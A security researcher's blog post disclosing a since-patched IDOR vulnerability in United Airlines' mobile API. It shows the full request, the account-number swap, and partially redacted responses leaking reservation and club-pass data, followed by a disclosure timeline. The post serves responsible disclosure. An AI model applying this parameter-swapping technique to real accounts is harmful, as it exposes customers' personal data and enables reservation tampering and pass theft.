About six months ago, United Airlines announced their Bug Bounty program and, almost immediately, it received a ton of press. Though I initially wasn’t interested in pursuing the program (mainly due to its popularity), I decided to take a look a week or two after its launch despite being late to the party. Shortly after, I identified (and reported) a serious vulnerability in an API endpoint that exposed the PII (personally identifiable information) of any rewards member. Surprisingly, this serious issue took United’s team just under six months to patch.
My research started with United’s mobile app. I created a MileagePlus account, launched the app, and logged in.
While proxying my requests and navigating throughout the app, I noticed an interesting request that seemed to be used to populate my upcoming flights as well as any United Club passes I had purchased. Below is a look at the request:
POST https://smartphone.continental.com/UnitedMobileDataServices/api/wallet/AccessWalletItemsv2?UID=2.0.20A&DID=***REMOVED*** HTTP/1.1 X-Tealeaf-Property: TLT_BROWSER=United AirlinesNative;TLT_BROWSER_VERSION=2.0;TLT_BRAND=Verizon;TLT_MODEL=SCH-I545;TLT_SCREEN_HEIGHT=1920;TLT_SCREEN_WIDTH=1080 X-Tealeaf: device (Android) Lib/8.8.1.24 Cookie: ***REMOVED*** Content-Length: 533 Content-Type: application/json; charset=UTF-8 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build/KOT49H) Host: smartphone.continental.com Connection: Keep-Alive Accept-Encoding: gzip { "accessCode": "'", "application": { "version": { "build": "", "displayText": "2.0.20", "major": "", "minor": "" }, "name": "Android", "isProduction": true, "id": 2 }, "deviceID": "37556b06-66bf-40a3-9368-f13b0faa437d", "languageCode": "en-US", "mpNumber": "***REMOVED***", "pushToken": "***REMOVED***", "transactionId": "***REMOVED***", "backgroundRefresh": true }
Note the existence of the mpNumber
parameter. Since the user is already authenticated and cookies are presumably being used to track session state, this parameter looked like an IDOR vulnerability. I subsequently created another test MileagePlus account and booked a cheap flight in order to test it. I ran the same request as above, but substituted the MileagePlus number with the one from my test account. Here is the response:
{ "walletPNRResponse": { "pnrs": [ { "mpNumber": "***REMOVED***", "recordLocator": "***REMOVED***", "flightDate": "12/05/2015 06:35 PM", "origin": "PHL", "originCity": "Philadelphia", "destination": "MCO", "destinationCity": "Orlando", "checkInStatus": "0", "firstName": "RANDOLPHA", "lastName": "WESTERGRENJR", "numberOfPassengers": "1", "lastSegmentArrivalDate": "12/06/2015 12:09 AM", "expirationDate": "12/06/2015 12:09 AM", "lastUpdated": "05/27/2015 07:31 AM", "segments": [ { "recordLocator": "***REMOVED***", "carrierCode": "UA", "flightNumber": "3336", "origin": "PHL", "destination": "IAD", "scheduledDepartureDateTime": "12/5/2015 6:35 PM", "scheduledArrivalDateTime": "12/5/2015 7:41 PM", "scheduledDepartureDateTimeGMT": "12/05/2015 11:35 PM", "scheduledArrivalDateTimeGMT": "12/06/2015 12:41 AM", "seats": "", "activationDateTimeGMT": "", "flightStatusSegment": null, "flightStatus": null, "destinationWeather": null, "lastUpdated": "05/27/2015 07:31 AM", "enableUberLinkButton": false, "cabin": "Coach", "cabinType": "United Economy" }, { "recordLocator": "***REMOVED***", "carrierCode": "UA", "flightNumber": "260", "origin": "IAD", "destination": "MCO", "scheduledDepartureDateTime": "12/5/2015 10:00 PM", "scheduledArrivalDateTime": "12/6/2015 12:09 AM", "scheduledDepartureDateTimeGMT": "12/06/2015 03:00 AM", "scheduledArrivalDateTimeGMT": "12/06/2015 05:09 AM", "seats": "", "activationDateTimeGMT": "", "flightStatusSegment": null, "flightStatus": null, "destinationWeather": null, "lastUpdated": "05/27/2015 07:31 AM", "enableUberLinkButton": false, "cabin": "Coach", "cabinType": "United Economy" } ], "enableUberLinkButtonPNRLevel": false, "irrOps": false, "irrOpsViewed": false, "dateCreated": "", "farelockExpirationDate": "", "awardTravel": false, "psSaTravel": false } ], "locationEvent": null }, "walletCheckinTravelPlanResponse": null, "walletClubDayPassResponse": null, "walletFlightStatusResponse": null, "transactionId": "***REMOVED***", "languageCode": "en-US", "machineName": "ZFLIFOVMWEB03", "callDuration": 148, "exception": null }
Though a lot of information is displayed here, I thought the most serious information exposed was the recordLocator
along with the customer’s last name. Using just these two values, an attacker could completely manage any aspect of a flight reservation using United’s website. This includes access to all of the flight’s departures, arrivals, the reservation payment receipt (payment method and last 4 of CC), personal information about passengers (phone numbers, emergency contacts), and the ability to change/cancel the flight.
Club Passes are also exposed by the same response.
{ "barCode": "***REMOVED***", "firstName": "RANDOLPH", "lastName": "WESTERGREN", "paymentAmount": 50, "clubPassCode": "***REMOVED***", "expirationDate": "***REMOVED***", "purchaseDate": "***REMOVED***", "passCode": "***REMOVED***", "email": "***REMOVED***@gmail.com", "mileagePlusNumber": "***REMOVED***" }
Note that the customer’s email address is exposed, as well as the barcode value. This means an attacker could likely gain access to the United Club by spoofing another customer’s barcode value at the entrance, essentially stealing his purchased pass.
I prepared my report and submitted it to United’s security team. Since I understood they were probably overwhelmed with the number of vulnerability submissions, I expected a delayed acknowledgment/response — I didn’t expect, however, for the issue to remain unpatched five months later. In fact, believing that six months was a more than reasonable time frame to get the issue patched (likely a one-line fix), I ultimately had to inform them of my intention to publicly disclose the unpatched vulnerability on November 28 (six months after my original submission). This gave them a few more weeks to get it patched, hopefully avoiding public disclosure.
Hey @united, 6 months for a critical vuln is beyond reasonable. Public disclosure is planned for 11/28.
— Randy Westergren (@RandyWestergren) November 5, 2015
Disclosure Timeline
2015-05-27: Initial vuln report submitted
2015-07-13: Follow-up with United, informed it was a duplicate
2015-07-16: Follow-up with United requesting estimated patch date
2015-07-22: United replies that only original submitter will receive updates. I request that they reconsider, they agree to inform me when it’s patched
2015-08-12: Follow-up with United requesting status
2015-08-13: Received reply, “the bug is validated and awaiting implementation”
2015-09-15: Another follow-up
2015-09-16: Received reply, “submission is in queue”
2015-11-05: Email (and tweet) United informing them of decision to publicly disclose on 11/28
2015-11-06: United replies thanking me for the heads up and reiterates that the number of submissions has delayed them in fixing issues. I’m reminded of being disqualified.
2015-11-12: I engage media contact and explain the history of the issue
2015-11-13: Media contacts United for comment on situation, expecting to run story on 11/14
2015-11-14: United responds (at 1:00am) that the issue has been patched. I tested to confirm.
My report was actually marked as a duplicate — not unexpected due to my delay in getting started. This is largely irrelevant to the rest of the post, but interesting in how it relates to the terms and conditions of United’s bug bounty program. One of the terms is that public disclosure (of any kind) will result in permanent disqualification from their program and loss of any reward; indeed I was reminded of this by United’s team when I informed them of my intention to go full disclosure. Since I was not to receive an award regardless, and I didn’t have further interest in submitting to the program, I accepted the threat of disqualification.
Overall, I think bug bounty programs are a great step in the right direction, but running one effectively is critical. Though the intention to publicly disclose the vulnerability appears to have pressured United to fix it, I suspect that the request for comment by media personnel ultimately forced them to take the necessary action.
Share this: